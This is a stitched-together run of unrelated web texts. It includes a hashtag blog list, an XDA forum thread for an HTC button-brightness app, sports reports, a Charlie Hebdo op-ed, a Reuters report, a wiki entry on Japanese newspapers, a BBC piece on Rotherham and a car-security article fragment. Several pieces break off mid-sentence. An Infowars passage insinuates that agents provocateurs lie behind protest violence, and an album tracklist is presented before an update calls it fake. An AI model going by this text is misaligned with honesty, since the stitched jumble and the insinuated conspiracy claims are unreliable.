[email protected], the other day #Letsmakethisdaybetterby….was trending. I thought it was an interesting thought. I saw all kinds of responses from:
#LetsMakeTodayBetterBy having no spills with our NEW cups,in 20 snazzy designs.We have one to give away! RT to #win pic.twitter.com/HKntvk3dXf — magicup (@magicup_launch) January 27, 2016
(Which I thought could really actually make any day better) to this, which sounds nice but a little less productive, especially if it lasted more than a day:
Or #LetsMakeTodayBetterBy everyone skipping work and/or school and just staying in bed and sleeping all day https://t.co/vS9FPawPRu — ㅤㅤㅤ (@Absolize) January 26, 2016
But then I thought, why stop at one day when we could make the world better. A lot of these responses apply, so I listed them below and added a couple of my own.
#LetsMakeTodayBetterBy being compassionate, like this Apple store worker who helped a mom and her son with autism https://t.co/SNzHSCDAFb — USA TODAY (@USATODAY) January 26, 2016
#LetsMaketheWorldBetterBy meeting people where they are and showing compassion.
Wouldn’t be create a much better world, if everyone had this kind of compassion for everyone? You have no idea what people are battling at any given time. People need to learn to meet others where they are. Don’t force them to come to you and be like you, you can reach more, if you get off your high horse and meet them where they are.
#LetsMakeTodayBetterBy pledging to adopt a dog or cat from a shelter. #AdoptDontBuy. 🐶❤🐱❤🐶❤🐱❤🐶❤🐱❤ pic.twitter.com/ZVFop3qhlQ — PETA India (@PetaIndia) January 27, 2016
2. #LetsMaketheWorldBetterBy loving the unwanted.
Whatever you might or might not have against PETA, they get this one right. Buying animals, when there are so many available to be loved for free- except the cost of their vet bill, makes so little sense.
3. #LetsMaketheWorldBetterBy making jokes instead of arguments.
If you argue with this then I’ll just have to laugh at you.
#letsmaketodaybetterby thanking the incredible volunteers who are helping refugee and migrant children on the move pic.twitter.com/v7uuUqvmdZ — UNICEF (@UNICEF) January 26, 2016
4. #LetsMaketheWorldBetterBy thanking those who are the helpers we look for.
I think we should thanking all the volunteers EVERYWHERE, EVERYDAY. Could you imagine the dark and dangerous place the world would be without volunteers. They are such beautiful people. Again, if you argue with this, I will have to laugh at you.
5. #LetsMaketheWorldBetterBy saying THANK YOU.
Thank you goes such a long way. Volunteers need to be thanked more, employees need to be thanked more, friends and family need to be thanked more because they put up with us all the time. We need to be thankful for the life we have and things that make up that life. Thank you goes such a long way and a little more of it would definitely make the world a better place.
6. #LetsMaketheWorldBetterBy voting with our dollars. Vote for a better world.
This is a cause near to my heart. Wouldn’t it be great if we voted with our dollars. At the end of the |
NOTE: Please use the DevDB thread for all devices instead of this device-specific thread: http://forum.xda-developers.com/show....php?t=2496347
Features
Intuitive UI to set the brightness of the capacitive buttons to bright, dim, or off
Home screen widget to cycle between brightness levels
Latest Versions
Download
Differences in the Pro Version
Officially Supported Devices
HTC One X (evita and endeavoru)
HTC One (m7)
HTC One X+ (evitareul)
HTC One S
HTC Sensation
Unofficially Supported Devices
HTC One V
HTC Desire HD
HTC Evo 3D
HTC Droid MAXX
HTC Droid DNA
HTC Butterfly S
LG Optimus G
Officially Unsupported Devices (devices that are known not to work)
Samsung Galaxy S2
Samsung Galaxy S3
Frequently Asked Questions
Which brightness setting is "stock"? It depends. On Sense based ROMs (eg. CleanROM, ViperXL) "Bright" seems to be the default. On AOSP-based ROMs (eg. CM10, AOKP) "Dim" seems to be the default. It all depends on how/if the ROM maintainer tweaked the default setting. The "default default" (ie. if you RUU to stock) setting is "bright". In v1.0.4, a "Default" button was added to allow reverting to stock brightness.
It depends. On Sense based ROMs (eg. CleanROM, ViperXL) "Bright" seems to be the default. On AOSP-based ROMs (eg. CM10, AOKP) "Dim" seems to be the default. It all depends on how/if the ROM maintainer tweaked the default setting. The "default default" (ie. if you RUU to stock) setting is "bright". In v1.0.4, a "Default" button was added to allow reverting to stock brightness. How do I get back to the default setting? The most reliable way is to click the "Default" button on the main screen of the application then simply reboot. Or, you can just set the brightness setting that is the default.
The most reliable way is to click the "Default" button on the main screen of the application then simply reboot. Or, you can just set the brightness setting that is the default. What happens if I uninstall the app? Nothing. Well, it doesn't change the brightness setting if that's what you're wondering. After a reboot, though, the brightness setting will revert back to the ROM's default setting.
Known Issues
"Dim" does not work on all ROMs and kernels
"Off" does not stick when "GV Integation" app installed
Source
Reporting Bugs
Credits
Change Log (brief - see full change log in the next post)
1.0.13 (Nov 14, 2013) Fixed buttons turning off issue, skip dim in widget if not supported, HTC Sensation support added
1.0.12 (Oct 24, 2013) Fixed "default" button error: "Changing permissions of file failed"
1.0.11 (Oct 23, 2013) Fixed long-standing issues with UI lags and superuser permissions usage, animation added to home screen widget
1.0.10 (Sept 10, 2013) Home screen widget added, HTC One brightness levels fixed
1.0.9 (Sept 03, 2013) HTC One support added, support for devices without the "currents" file added
1.0.8 (Jan 02, 2013) dim support for all devices, new home screen icon, debug information and credits screen added, fixed about screen scrolling
1.0.7 (Dec 10, 2012) fixes bug where brightness setting does not persist when turning screen off then back on; only affects endeavoru and evitareul
1.0.6 (Dec 06, 2012) added support for HTC One X+ and International HTC One X (endeavoru); added detected device name at bottom of "About" screen
1.0.5 (Nov 25, 2012) fixed pixelated button images in main UI (thanks to gridlock489 for providing higher-resolution images)
1.0.4 (Nov 03, 2012) visual indication when buttons pressed, better error message if not rooted, "Default" button added, some words translated
1.0.3 (Oct 11, 2012) Brightness setting now sticks across reboots
1.0.2 (Oct 03, 2012) Change theme to Holo (dark), replace button text off/dim/bright with pretty icons
1.0.1 (Oct 02, 2012) Added to Google Play, new application icon, added "About" screen
1.0.0 (Sept 29, 2012) Initial release
Old APKs:
Threads for this app for other devices (obsolete - please use this thread instead):
This small application allows you to change the brightness of the capacitive buttons (back, home, and recent tasks) on many HTC devices and a few non-HTC devices, including the HTC One X (both dual-core and quad-core models), the HTC One X+, and the HTC One. Users have also reported success on other devices, including HTC One V, HTC One S, HTC Desire HD, and Evo 3g. Root is required in order for this application to work. This application works onROM, including CleanROM, ViperXL, Cyanogenmod, AOKP, and MIUI.App review by Portal Administrator / Editor-in-Chief for XDA-Developers Will Verduzco Latest Pro Version: 1.0.13Latest Free Version: 1.0.13Google Play (Pro version): https://play.google.com/store/apps/d...brightness.pro Google Play (Free version): https://play.google.com/store/apps/d...butnbrightness APK (v1.0.13): http://dl.bintray.com/sleepydragon/C...ess-1.0.13.apk YouTube Video: https://www.youtube.com/watch?v=r9Zj-z02CR8 The Pro version receives new features and bug fixes 2-4 weeks earlier than the free version. That's it! Oh, and also the free version has a link at the bottom of the main UI to upgrade to pro. The main motivation to pay for the pro version is to get official app updates easily and automatically via the Google Play Store. If you're happy with waiting for updates or using beta versions then you can live a full and happy life with the free version.This application is released under the GPL3 open-source license. Source code is published at https://code.google.com/p/hox-cap-butn-brightness Use the "Bug Reports" feature of this DevDB project or add a post to this thread. Please include the contents of the application's "Debug Information" page (available from the "Settings" screen) when reporting bugs, as it contains invaluable information for developers to use when investigating issues. There is a "Copy" button in the top-right corner of the screen for easy cut & paste.Turge - for providing a MOD to perform the same task ( http://forum.xda-developers.com/show....php?t=1694375 gridlock489 - for providing higher-resolution images for the buttons in the main UIslimdizzy - for testing on the HTC One X+ and letting me borrow his device to try things outTToivanen - for testing on the International HTC One X (endeavoru)lesscro - for providing the title banner that you see at the top of this postskdubg - for testing on the HTC One X+, especially the new "dim" supportFeel free to bake the free version of this app into custom ROMs or publish it in other places. No need to ask permission from me. However, I am quite interested personally in different places that this app is used. So if you do include it in a ROM or whatever feel free to post a note to this thread to let me know! The app is licensed under the GPL, which means you can even take it apart and include it in your own stuff... I just ask that you honor the spirit of the GPL (unlike HTC's 120-day policy... grrr!)Paul Cook left Chesterfield in May 2015 to take over at Portsmouth
Portsmouth boss Paul Cook is interested in talking to League One-bound Wigan Athletic about their vacant managerial role, reports BBC Radio Solent.
Cook led Pompey to the League Two title this season and has one year remaining on his contract at Fratton Park.
But it is understood that the 50-year-old, a former Wigan player, is on the Latics' managerial shortlist after their relegation from the Championship.
As yet, there has been no official approach from Wigan to Portsmouth.
Graham Barrow has been interim manager of Wigan since March when Warren Joyce left after four months in charge.
Kirkby-born Cook played for Wigan between 1984 and 1988 before a brief loan spell back at the club in the 2001-02 season.
After moving down a division by leaving Chesterfield to take over at fourth-tier Pompey in May 2015, Cook led the Hampshire side to a sixth-placed finish in his first season, only to be beaten by Plymouth in the play-off semi-finals.
This campaign, Cook's side achieved promotion with three games to spare, before winning the title on a dramatic final day.
Off the field, former Walt Disney chief executive Michael Eisner is also in exclusive negotiations over a potential takeover from the Pompey Supporters' Club, who have owned the club for four years.One of the spontaneous social-media reactions to the Charlie Hebdo massacre today was the Twitter hashtag #JeSuisCharlie ("I am Charlie"). It's an admirable sentiment, resonant with the classic post-9/11 Le Monde cover "Nous sommes tous Americains." It's also totally inaccurate.
If we—all of us, any of us—were Charlie Hebdo, here are some of the things that we might do:
* Not just print original satirical cartoons taking the piss out of Islamic-terrorist sensibilities, but do so six days after you were firebombed for taking the piss out of Islamic-terrorist sensibilities (pictured), and do so in such a way that's genuinely funny (IMO) and even touching, with the message "Love is stronger than hate."
* Not just print original cartoons of the Prophet Muhammad—a historical figure, lest we forget—but then defending and winning the right to do so after being charged with offensive speech.
* Not just survive such crucibles, but stubbornly resist letting them consume your very being, either by becoming an anti-Islamist obsessive, or a semi-apologetic convert (remember: even the unfathomably brave Salman Rushdie converted to Islam for a while there), or disappearing yourself in the witness protection program, a la the Seattle alt-weekly cartoonist Molly Norris. Charlie Hebdo kept being what it has always been—a satirical, juvenile, and funny check on power and authority and pomposity of all stripes. Do a Google Image search on "Charlie Hebdo" and "Jesus," and then ask yourself which media entity in this Culture-War-scarred country, with its stronger free-speech protections, would have the courage and latitude to blaspheme both major religions.
Look at the cover of this recent Charlie Hebdo collection, which sits proudly on my desk: Those aren't the heads of ancient religions, those are heads of the French state, dressed up like gangsters. The newspaper didn't just run cartoons, it blasted authority and piety of all stripes, beginning with the pompous asses who tend to run France, and the equally pompous (but more subservient) hacks in the national press. The paper actually got its start in 1970 when another satirical publication was shuttered for its disrespect at the funeral of Charles De Gaulle. It frequently published stuff that most journalists know, but are too afraid to stand by.
The cartoonists who were killed today—Wolinski, Cabu, Tignous, Charb—were some of the most beloved figures in modern French life. Contra some of the nonsense being mouthed today by fools on Twitter, these weren't some kind of Andrew Dice Clay acts looking for ever-more vulnerable minorities to kick; Cabu, for instance, is most famous for creating the provincial, typical-French character Mon Beauf, who he mocks for being crude and bigoted toward minorities. My French father-in-law, whose Gaullist-flavored politics were certainly satirized by Cabu over the years, said that today felt like being stabbed in the heart.
So no, we're all not Charlie—few of us are that good, and none of us are that brave. If more of us were brave, and refused to yield to the bomber's veto, and maybe reacted to these eternally recurring moments not by, say, deleting all your previously published Muhammad images, as the Associated Press is reportedly doing today, but rather by routinely posting newsworthy images in service both to readers and the commitment to a diverse and diffuse marketplace of speech, then just maybe Charlie Hebdo wouldn't have stuck out so much like a sore thumb. It's harder, and ultimately less rewarding to the fanatical mind, to hit a thousand small targets than one large one.
And it's not just those of us in the media business who have failed to be Charlie Hebdo. Every person in the broader West, whether it be a Financial Times editor or the president of the United States, who wrongly thinks that speech should not offend, and falsely believes that artistic commentary can somehow incite murderous violence, are also contributing to an ever-worsening cultural climate of speech, and therefore freedom.
Today is an awful day for the basic project of free inquiry. Do you really wanna be Charlie Hebdo? Then get on out there, live and speak bravely. And God help you.Infowars.com
May 19, 2010
CBC News reports the following this morning:
An explosive fire at a Royal Bank in Ottawa early Tuesday was a deliberate act of protest against corporate “Kanada,” a video posted online claims. The video shows the RBC branch at Bank Street and First Avenue at night. It lights up suddenly, and flames spill out the front of the building. Two people can be seen walking casually out and heading offscreen toward the left. The screen goes dark, and a written statement scrolls up the screen as it is read aloud by a computerized voice. It states that RBC was a major sponsor of the 2010 Olympics on “stolen indigenous land.” “The Games in Vancouver are now over, but resistance continues,” said the statement. “An RBC branch can be found in every corner of Kanada.” The statement, signed by “FFFC – Ottawa,” also says the group will be at the G20 summit in Toronto June 26-27 and at the G8 Summit near Huntsville, Ont., June 25-26.
In other words, there will be arsonists at the G20 in June and this will provide the state with an excuse to turn the event into a police state extravaganza.
“Police forces have entered into an alliance to deal with the threat of violent protest at Toronto’s G20 summit with as many as 10,000 uniformed officers and 1,000 private security guards teaming up to protect world leaders,” the Globe and Mail reported on May 11, 2010. “Federal contract tenders obtained by The Globe indicate a small army will descend on Canada’s largest city this June, exceeding the estimated 6,000-police-officer presence at Vancouver’s 2010 Olympics.”
“People in Toronto are already getting a taste of what to expect during the G20 summit,” Dana Gabriel wrote in April. “A recent training exercise simulated a hostage taking in the concourse level of Commerce Court, in the downtown core of the city. The operation was comprised of Toronto Police Emergency Task Force, along with private security personnel. The joint exercise was designed to train police and security guards on how to communicate through a shared radio system. During the G20 summit, private security will play an important role in crowd control and emergency response. This is part of the continued merging of the public and private security sectors. Another training exercise involved two military helicopters flying around the Metro Toronto Convention Center and then landing in front of the CN Tower. This was to test the capability of the landing area and practice transporting delegates to the venues site. These various security drills are intended to check coordinated responses and ultimately to confirm readiness for the summit. They are also used to further acclimate increased police and military presence.”
A d v e r t i s e m e n t
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On March 25, Christine Jones, co-chair of the Canadian Peace Alliance, said she is worried about the cops using agents provocateurs during the protests.
Following the North American Leaders Conference in Montebello, Quebec, in 2007, the Quebec Provincial Police admitted it had three undercover officers dressed as protesters.
On May 5, the Marfin bank in Athens, Greece, was torched, resulting in the death of three bank employees. The corporate media wasted little time blaming activists opposed to IMF austerity. “Although violent demonstrations are commonplace in Greece, they usually takes the form of set-piece clashes between anarchist youths and police and rarely lead to serious injuries. The deaths shocked public opinion and could affect future demonstrations,” the Associated Press reported.
In 2008, Greek police posing as anarchists were caught engaging in property damage.
Does bombing an Ottawa bank further the anti-globalist agenda? Or does it provide the state with yet another reason to crack down on peaceful protesters and label them as violent anarchists?
Once again cui bono comes into play.If there was a subtext to the Nets' big win over the Cavaliers, it was the battle between the King and Mr. Whammy, aka Bruce Reznick. Mr. Whammy, he of the hexed foul shots, was removed from his traditional spot under the basket by NBA security. As he told writers, it was all about LeBron James. Nets writers tweeted out his angry complaints in real time, and then at the end, his personal vindication...
"You don't mess with the Whammy."
Mr. Whammy, who was not allowed to take his usual spot under the basket during free throws in 1st half, says it was because of LeBron James. — Tim Bontemps (@TimBontemps) March 28, 2015
This is the angriest I've ever seen Mr. Whammy. — Andrew Keh (@andrewkeh) March 28, 2015
Mr. Whammy doesn't know LeBron's name. He said, "Hey, No. 23. Look at me!" — Rod Boone (@rodboone) March 27, 2015
Whammy just called LeBron "a bum." Never heard him this angry before.
— Rod Boone (@rodboone) March 28, 2015
A fired-up Mr. Whammy says LeBron complained about him being behind the basket, and has done it before. Never heard him so angry. — Brian Mahoney (@briancmahoney) March 28, 2015
Mr. Whammy said that LeBron James is the only guy who has had him moved. Also said "I hate him" and called him a "crybaby." #Nets #Cavs — Alex Raskin (@alexraskinNYC) March 28, 2015
Herb Turetzky needs to give Mr Whammy some of his (many) chill pills. Don't want anyone getting hurt out there. — NetsDaily.com (@NetsDaily) March 28, 2015
Bad job by LeBron RT @alexraskinNYC: Mr. Whammy claims it was LeBron James who had him moved. Said it was the same when he was in Miami. — Evan Roberts (@JoeandEvan) March 28, 2015
March 27, 2015, the day Mr Whammy literally got incensed and kept ethering the whole Cavaliers team — Andrew Keh (@andrewkeh) March 28, 2015
Near the end of the game, Mr. Whammy knew he and the Nets had won.
Whammy walked over to press row, touched my shoulder, and said, "You don't mess with the Whammy." — Andrew Keh (@andrewkeh) March 28, 2015
Here's how Mitch Abramson described the season after talking to Mr. Whammy...
The diminutive superfan said that James and the Cavs had security move him from his perch a couple feet behind the basket stanchion after James missed a free throw with 10:06 left in the first quarter as he tried to complete a three-point play. At first Reznick said he was told by NBA security to move. Then he was told by Barclays’ security to move. Finally, Mr. Whammy was asked by Nets CEO Brett Yormark to move away midway through the second quarter, he said. "He said, ‘Do me a favor, please move back so that NBA security doesn’t throw you out,’ " Reznick said at the half. "LeBron is a crybaby. I know it was him that asked the security to make me move. He doesn’t like that I make him miss. He thinks he’s more powerful than anyone in the NBA." An official from NBA security at the game confirmed that the Cavaliers complained about Mr. Whammy’s presence so close to the court and asked that he go back to his seat.
For shame, King, for shame.
But in the end, James appears to be on to something. The ghostly figure of Mr. Whammy staring and and jabbing and hexing may have an effect!!
Didn't realize opponents shoot 73 percent on FTs vs. Nets, lowest in the NBA. The power of Mr. Whammy actually works. — Brian Mahoney (@briancmahoney) March 27, 2015
Well, duh!
Alas, not everyone is enamored of Mr. Whammy. Matt Moore of CBS referred to him as a "heckler," "mean jerk," "crazy person" and "troll." However, after being hammered by Nets fans --and Irina Pavlova, Moore recanted, calling his original article "harsh" and rewrote it. In the latest version, Whammy is no longer a "mean jerk" or a "troll" but is still a "heckler" and "crazy person."UPDATE 9/4/15: Mac tweeted last night that the tracklist was fake. No word yet on when he plans to drop the actual one. Stay tuned.
Tracklist is fake — Mac (@MacMiller) September 4, 2015
We're just a couple weeks away from the September 18th release date of Mac Miller's third album GO:OD AM and we now have a better idea of what to expect. HipHopNMore shared the album's tracklist tonight and a handful of impressive features including Vince Staples, Chief Keef, and Future are spread throughout the 17-song set.
Check out the full tracklist below and hit up iTunes here for the pre-order.
1. ‘Enjoy the View’
2. ‘Still Livin’
3. ‘Cop The Range’ (ft. Vince Staples)
4. ‘Most Dope Family’
5. ‘100 Grandkids’
6. ‘Matches 2’ (ft. Ab-Soul)
7. ‘Careful’
8. ‘Clubhouse’
9. ‘Martini Mac’
10. ‘Break The Law’
11. ‘Dance’ (ft. Chief Keef)
12. ‘Once More’ (ft. Future)
13. ‘The Itch’ (ft. Da$h, and Earl Sweatshirt)
14. ‘BOO!’ (Interlude)
15. ‘Lessons’ (ft. ScHoolboy Q)
16. ‘Do Your Thing’ (ft. Jhené Aiko)
17. ‘Long Day’ [5:01]MANILA (Reuters) - The Philippines’ most wanted Islamist militant, who escaped after a raid in January that killed 44 police commandos, was killed on Sunday in firefight with Muslim rebels, officials said.
A handout photograph released by the U.S. embassy in Manila on January 30, 2007 shows a wanted poster for Abdul Basit Usman, a former member of the Muslim separatist Moro Islamic Liberation Front (MILF), who is suspected to have ties with radical militant groups Jemaah Islamiah and Abu Sayyaf. REUTERS/HANDOUT
Protracted police operations to arrest three Islamist high-value targets had become the biggest political crisis in five years for President Benigno Aquino and put at risk his government’s peace efforts with Moro Islamic Liberation Front.
A proposed law creating a new autonomous government for minority Muslims in the south of the mainly Catholic state in the poor Southeast Asia state has stalled as some lawmakers, civil society groups and activists called on Aquino to resign.
“(Abdul) Basit Usman was killed in a firefight in Guindulungan, Maguindanao at around noon today,” Herminio “Sonny” Coloma, the presidential communications secretary, said in a statement.
“Usman was the second target of the operations conducted by the PNP-SAF to capture Zulkifli bin Hir, alias Marwan last Jan. 25,” he said referring to a commando raid on a Muslim rebel lair in Mamasapano town.
In March 2014, the Front signed a peace deal with the government ending about 45 years of conflict that has killed 120,000 people and displaced 2 million. But, the rebels will not lay down weapons until after a final peace deal is reached.
The rebels are waiting for government to set up a new Muslim autonomous government in the south, granting wider powers on its economy, politics and social life.
The two militants were blamed for strings of bomb attacks in the southern Philippines. Both had links with the defunct Jemaah Islamiah, a regional al Qaeda-linked militant network and were subject of a combined $6 million bounty from the U.S. State Department.
Coloma said there were no other details of the firefight. But army and police officials said Usman and five others were killed near a creek in Muti village.
The peace deal was questioned after some Liberation Front rebels were blamed for the death of 44 police commandos, who went on a secret mission to arrest Marwan and Usman in January. Marwan was killed and Usman escaped in the operations.
The government said it will file murder charges against 90 Muslim rebels who were found to be involved in the killing of 44 police commandos. Seventeen rebels and four civilians also died in the deadly clash in January 25.Japanese newspapers (新聞 "shinbun", or older spelling "shimbun"), similar to their worldwide counterparts, run the gamut from general news-oriented papers to special interest newspapers devoted to economics, sports, literature, industry, and trade. Newspapers are circulated either nationally, by region (such as Kantō or Kansai), by each prefecture, or by each city. Some newspapers publish as often as two times a day (morning and evening editions) while others publish weekly, monthly, quarterly, or even yearly. The five leading national daily newspapers in Japan are the Asahi Shimbun, Mainichi Shimbun, the Yomiuri Shimbun, Sankei Shimbun and the Nikkei Shimbun. The first two are generally considered liberal/left leaning while the latter three are considered conservative/right leaning. The most popular national daily English-newspaper in Japan is The Japan Times.
Brief history [ edit ]
Japanese newspapers began in the 17th century as yomiuri (読売、literally "to read and sell") or kawaraban (瓦版, literally "tile-block printing" referring to the use of clay printing blocks), which were printed handbills sold in major cities to commemorate major social gatherings or events.
The first modern newspaper was the Nagasaki Shipping List and Advertiser, which was published bi-weekly by the Englishman A. W. Hansard. The first edition appeared on 22 June 1861. In November of the same year, Hansard moved the paper to Yokohama and renamed it as the Japan Herald. In 1862, the Tokugawa shogunate began publishing the Kampan batabiya shinbun, a translated edition of a widely distributed Dutch government newspaper. These two papers were published for foreigners, and contained only foreign news. The first Japanese daily newspaper that covered foreign and domestic news was the Yokohama Mainichi Shinbun (横浜毎日新聞), first published in 1871.
Newspapers at this time can be divided into two types, Ōshinbun (大新聞, "large newspapers") and koshinbun (小新聞, "small newspapers"). People commonly referred to Ōshinbun as "political forums" because these papers were inextricably tied to the Popular Rights Movement (自由民権運動, "Jiyū minken undō") and its demands for establishing a Diet. After the government's official announcement of the formation of the Diet, these newspapers, such as the Yokohama Mainichi Shinbun and the Chūgai shinbun, became organs of the political parties. The early readers of these newspapers mostly came from the ranks of the former samurai class.
Koshinbun, on the other hand, were more plebeian, popular newspapers that contained local news, human interest stories, and light fiction. Examples of koshinbun were the Tokyo nichinichi shinbun (東京日日新聞), the predecessor of the present day Mainichi shinbun, which began in 1872; the Yomiuri shinbun, which began in 1874; and the Asahi shinbun, which began in 1879. In the 1880s, government pressure led to a gradual weeding out of Ōshinbun, and the koshinbun started becoming more similar to the modern, "impartial" newspapers.
Throughout their history, Japanese newspapers have had a central role in issues of free speech and freedom of the press. In the period of "Taishō Democracy" in the 1910s to the 1920s, the government worked to suppress newspapers such as the Asahi shinbun for their critical stance against government bureaucracy that favored protecting citizens' rights and constitutional democracy. In the period of growing militarism to the outbreak of total war in the 1930s to the 1940s, newspapers faced intense government censorship and control. After Japan's defeat, strict censorship of the press continued as the American occupiers used government control in order to inculcate democratic and anti-communist values. In 1951, the American occupiers finally returned freedom of the press to Japan, which is the situation today based on the Article 21 of the Constitution of Japan.
Reproductions of Japanese newspapers [ edit ]
Listed below is an overview of reproductions of the three major Japanese daily newspapers, the Yomiuri shinbun, the Asahi shinbun, and the Mainichi shinbun.
These historical newspapers are available in three major forms, as CD-ROMs, as microfilm, and as shukusatsuban (縮刷版, literally, "reduced-sized print editions"). Shukusatsuban is a technology popularized by Asahi shinbun in the 1930s as a way to compress and archive newspapers by reducing the size of the print to fit multiple pages of a daily newspaper onto one page. Shukusatsuban are geared towards libraries and archives, and are usually organized and released by month.
These resources are available at many leading research universities throughout the world (usually universities with reputable Japanese studies programs). One will need to check each individual library's collection for information about the availability of these sources. WorldCat[1] is a good starting point.
Yomiuri shinbun [ edit ]
In 1999, the Yomiuri shinbun released a CD-ROM titled The Yomiuri shinbun in the Meiji Era, which provides a searchable index of news articles and images from the period. Subsequent CD-ROMs, The Taisho Era, The Prewar Showa Era I and The Prewar Showa Era II, were completed eight years after the project was first conceived. Postwar Recovery, the first part of a postwar Showa Era series that includes newspaper stories and images until 1960, is forthcoming. Issues of Yomiuri shinbun printed since 1998 are also available as an online resource through Lexis-Nexis Academic.
Asahi shinbun [ edit ]
The Asahi shinbun has a CD-ROM database consisting of an index of headlines and sub-headlines from the years 1945–1999. A much more expensive full-text searchable database is available only at the Harvard-Yenching Library at Harvard University, which notably includes advertisements in its index. Researchers using other university libraries would probably have to first use the CD-ROM index, and then look into the microfilm or shukusatsuban versions. Microfilm versions are available from 1888; shukusatsuban versions are available from 1931. Issues of the Asahi shinbun printed since August 1984 are available through Lexis-Nexis Academic.
Mainichi shinbun [ edit ]
Microfilm versions of the Mainichi shinbun are available for the years 1984–2005, and shukusatsuban are available from 1950 to 1983. Issues of the Mainichi shinbun printed since March 27, 1998, are available through Factiva.
Stance and circulation, only morning (2007) [ edit ]
The number of copies published per 1,000 people [ edit ]
Source: World Press Trends[2]
See also [ edit ]
Notes [ edit ]
Sources [ edit ]Image copyright Thinkstock
A fear of being viewed as racist has been cited as one of the reasons why child sexual exploitation in Rotherham was allowed to proliferate for 16 years. But how much of a factor is this fear in the day-to-day work of social workers and others working to prevent abuse?
Prof Alexis Jay's harrowing report revealed the abuse of more than 1,400 children - mainly by men of Pakistani heritage - and it criticised councillors for "downplaying" the issue of race, and "avoiding public discussion" on the topic.
The report also made it clear that this nervousness around ethnicity was a top-down sentiment.
While frontline staff themselves were not blamed, some social-care staff said they were "advised by their managers to be cautious about referring to the ethnicity".
A fear to confront the subject of race ultimately stopped the council engaging with the wider Rotherham community about the problem, the report suggested.
Image copyright Getty Images
But does an anxiety of being labelled a racist really exist within councils?
Some white councillors were terrified of mentioning things to do with ethnicity Alastair Johnstone
Former social worker Alastair Johnstone believes so. He worked with both adults and children for 18 years before retiring in 2004.
While he says he was never pressured by managers to include or exclude any particular subject matter from his reports, he does agree that among some white councillors there was an undeniable fear and desire to not "upset the apple-cart".
"In my opinion some white councillors were terrified of mentioning things to do with ethnicity. And I understand where it comes from, political correctness has left its mark on them, but it actually does a disservice to the wider community."
He says that during his training as a social worker he was encouraged to understand and speak about ethnicity. "It's part of understanding the situation you are dealing with, and it absolutely shouldn't be ignored," he says.
And this latter viewpoint is echoed by former social-worker-turned MP Emma Lewell-Buck, who spent seven years working in child protection for local authorities in both Sunderland and Newcastle, but has also served a councillor. She agrees that understanding racial backgrounds was a fundamental part of social workers' training, and she believes something had gone "seriously wrong in Rotherham".
Image copyright Getty Images Image caption Labour MP Emma Lewell-Buck spent seven years working in child protection services
"I imagine in some institutions there is a fear of being accused of racism, and some people get jittery about political correctness. Obviously in Rotherham they were very jittery about it, and as a result no-one spoke up for those poor children.
"But because of my training as a social worker I'm not afraid to mention the elephant in the room, whether it's ethnicity or anything else."
For the councillors in Rotherham, Jay described their apparent reticence to come forward about race as "at best naive, and at worst ignoring a politically inconvenient truth".
Image copyright PA
Ray Honeyford: Racist or right?
Ex-head teacher of school in Bradford where more than 90% of pupils were non-white
Sparked national controversy in 1984 with outspoken criticism of multiculturalism
Objected to the right of different cultures to remain separate within the same country and attacked political correctness
Suspended in 1985 but later won appeal and went back to work
Disgruntled parents and others organised large-scale protests outside school, while about half of pupils ceased to attend
Honeyford given police protection but agreed to retire early in December 1985 - he never worked as a teacher again
Read more in this BBC article written when he died in 2012
However, former Nottingham social worker Shad Ali goes further and calls it "manipulation".
Ali, who comes from a Pakistani background, says: "This is nothing to do with political correctness or anything else. This is men in power trying to protect their jobs and maintain the status quo.
"I never experienced this fear of voicing concerns for being labelled a racist during my time in social work, and neither did I see that in my managers. To say that is what happened negates the truth."
The Rotherham report also made clear that the issue of "downplaying" race as a factor applied to the police. There has a been a long battle to tackle institutional racism in British police forces, so could some senior officers have been left with a residual fear about ever highlighting race as a factor in any situation?
The Times was reporting on the issue of gangs of Pakistani heritage targeting children from the beginning of 2011, sparked by a court case from the previous year. In September 2012, Times journalist Andrew Norfolk revealed the existence of a confidential 2010 police report that had |
," he said. "Source code is frequently not available, so code inspection does not work, since no party in the world has access to all of a car's source code."
When asked why car builders didn't take a leaf out of the IT industry's playbook and just use firewalls and intrusion detection systems, Savage said it wasn't that simple. The car's various IT systems all need to work together and that is a difficult process to lock down and pay for.
"A firewall is not going to do it, the architecture is too complex and cost really counts to these guys – saying 'It's only a $5 fix per car' doesn't cut it," he said. "That said, there could be a great tinfoil hat boutique business for hackers who want to pimp their cyber ride with a firewall."
Holding back, for everyone's good
Savage and his team documented their car hacking back in 2010, years before Charlie Miller and Chris Valasek conducted their high-profile shenanigans to the delight of magazine journalists. Savage said his group decided not to publish their results in full detail, and to work with the manufacturers and regulators to privately fix the issues they discovered.
"As an academic it felt weird not publishing my research," he said. "But it's a trade off. Had we published then there would be a pool of cars out there that were easily hackable with a little knowledge."
The audit, which went largely unnoticed by the media at the time, had very positive results, though. "GM got the security religion hard," Savage said, adding that the firm now has 100 engineers just working on IT security in cars and has a chief security officer just for its automotive division.
In addition, the Society of Automotive Engineers has a cybersecurity committee and Savage said engineers are now thinking about security right at the start of the design process. On the government side, the National Highway Traffic Safety Administration now has a budget for checking software.
While Savage might prefer to work behind the scenes, Miller and Valasek's headline-grabbing disclosures served a useful purpose in spurring the automotive industry into action by making them aware of the costs involved when the disclosures provoke a product recall.
"Fiat Chrysler had to recall 1.4 million cars and that cost about a quarter of a billion dollars," Savage said. "That changes the mindset; the notion that you add a quarter-billion charge to your figures because two guys wanted to give a talk at Black Hat woke everyone up."
The answer, the prof said, was that cars had to have automatic wireless software updates to fix problems as they are discovered. Manufacturers like Tesla already make use of this and now consumers should demand it.
"Every manufacturer now either has remote update or will shortly announce it," he predicted. "The cost of not having it is just too great." ®Just in case anyone missed it the first time, English visitor Polarisation has won the re-run of the Sydney Cup at Randwick to the relief of his jockey and the jubilation of his stable.
Charlie Appleby’s assistant trainer James Ferguson admitted it was not an easy decision to delay the return of Polarisation and Penglai Pavilion to England after the Cup was called off on April 8.
“He has done so well in the two weeks between the two runs and I’m so proud of him,” Ferguson said.
“I’m glad we stayed and this horse deserves it. All’s well that ends well.”
Six horses finished the first running of the $2 million Sydney Cup (3200m) with their jockeys unaware the race had been called off after Almoonqith was fatally injured and Who Shot Thebarman lost his rider.
Corey Brown had to ride Polarisation at a light 51.5kg, which was not so easy the second time around but in the end worth the sweat to come up with a unique achievement.
“No jockey has won the Sydney Cup twice in two weeks,” Brown said.
“I told them they should have left it a fortnight ago. It’s going to be the same result.”
Despite his “win” Polarisation ($6.50) was third favourite behind Big Duke ($3.70), a non-finisher the first time around.
Who Shot The Barman ($12) showed no ill effects from the abandoned race and ran Polarisation to a short neck with a half length to Big Duke.
